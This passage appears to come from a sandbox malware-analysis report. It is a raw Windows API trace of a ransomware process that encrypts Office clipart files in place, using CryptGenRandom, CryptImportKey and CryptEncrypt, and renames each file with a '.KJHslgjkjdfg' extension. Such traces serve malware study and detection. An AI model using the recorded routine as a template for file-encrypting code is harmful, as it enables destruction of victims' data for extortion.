(hKey=0x9b6628) returned 1 [0210.431] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.431] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.431] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.431] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.431] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.432] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.432] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.440] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.440] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa445, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa445, lpOverlapped=0x0) returned 1 [0210.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa450, dwBufLen=0xa450 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa450) returned 1 [0210.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.447] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa450, lpOverlapped=0x0) returned 1 [0210.448] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.448] SetEndOfFile (hFile=0x130) returned 1 [0210.451] GetProcessHeap () returned 0x990000 [0210.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.451] GetProcessHeap () returned 0x990000 [0210.451] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03224I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03224i.jpg.kjhslgjkjdfg")) returned 1 [0210.453] CloseHandle (hObject=0x130) returned 1 [0210.453] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ba2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03379I.JPG", cAlternateFileName="")) returned 1 [0210.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.456] GetProcessHeap () returned 0x990000 [0210.456] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.456] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.456] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0210.463] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.463] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.463] GetProcessHeap () returned 0x990000 [0210.463] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.466] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.466] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.466] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.466] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.467] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.467] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.467] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2ba2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2ba2, lpOverlapped=0x0) returned 1 [0210.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bb0, dwBufLen=0x2bb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2bb0) returned 1 [0210.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.469] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2bb0, lpOverlapped=0x0) returned 1 [0210.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.469] SetEndOfFile (hFile=0x130) returned 1 [0210.471] GetProcessHeap () returned 0x990000 [0210.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.471] GetProcessHeap () returned 0x990000 [0210.471] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03379I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03379i.jpg.kjhslgjkjdfg")) returned 1 [0210.473] CloseHandle (hObject=0x130) returned 1 [0210.473] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x321f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03380I.JPG", cAlternateFileName="")) returned 1 [0210.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.474] GetProcessHeap () returned 0x990000 [0210.475] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.475] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.475] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x1, lpOverlapped=0x0) returned 1 [0210.477] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.477] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.477] GetProcessHeap () returned 0x990000 [0210.477] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.477] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.477] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.477] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.477] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.478] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.478] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.478] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.478] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.478] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.478] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x321f, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x321f, lpOverlapped=0x0) returned 1 [0210.479] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3220, dwBufLen=0x3220 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3220) returned 1 [0210.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.480] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3220, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3220, lpOverlapped=0x0) returned 1 [0210.480] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.480] SetEndOfFile (hFile=0x130) returned 1 [0210.483] GetProcessHeap () returned 0x990000 [0210.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.483] GetProcessHeap () returned 0x990000 [0210.483] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03380I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03380i.jpg.kjhslgjkjdfg")) returned 1 [0210.485] CloseHandle (hObject=0x130) returned 1 [0210.485] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbdae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH03425I.JPG", cAlternateFileName="")) returned 1 [0210.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.486] GetProcessHeap () returned 0x990000 [0210.486] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.486] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.486] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.486] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x2, lpOverlapped=0x0) returned 1 [0210.495] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.495] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.495] GetProcessHeap () returned 0x990000 [0210.495] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0210.495] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0210.495] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.495] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0210.495] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.495] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.495] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.496] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.496] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.496] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.496] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.496] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xbdae, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xbdae, lpOverlapped=0x0) returned 1 [0210.500] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbdb0, dwBufLen=0xbdb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xbdb0) returned 1 [0210.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.501] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xbdb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xbdb0, lpOverlapped=0x0) returned 1 [0210.501] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.501] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.502] SetEndOfFile (hFile=0x130) returned 1 [0210.513] GetProcessHeap () returned 0x990000 [0210.513] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0210.513] GetProcessHeap () returned 0x990000 [0210.513] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0210.514] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03425I.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03425i.jpg.kjhslgjkjdfg")) returned 1 [0210.516] CloseHandle (hObject=0x130) returned 1 [0210.516] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6849b000, ftCreationTime.dwHighDateTime=0x1bd0318, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6849b000, ftLastWriteTime.dwHighDateTime=0x1bd0318, nFileSizeHigh=0x0, nFileSizeLow=0xef6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PRRT.WMF", cAlternateFileName="")) returned 1 [0210.516] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PRRT.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\prrt.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0210.524] GetProcessHeap () returned 0x990000 [0210.524] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0210.525] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0210.525] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0210.525] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0210.527] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0210.536] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0210.536] GetProcessHeap () returned 0x990000 [0210.536] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0210.536] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0210.536] CryptDestroyKey (hKey=0x9b6628) returned 1 [0210.536] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0210.537] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0210.537] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0210.537] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0210.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0210.537] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0210.537] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, 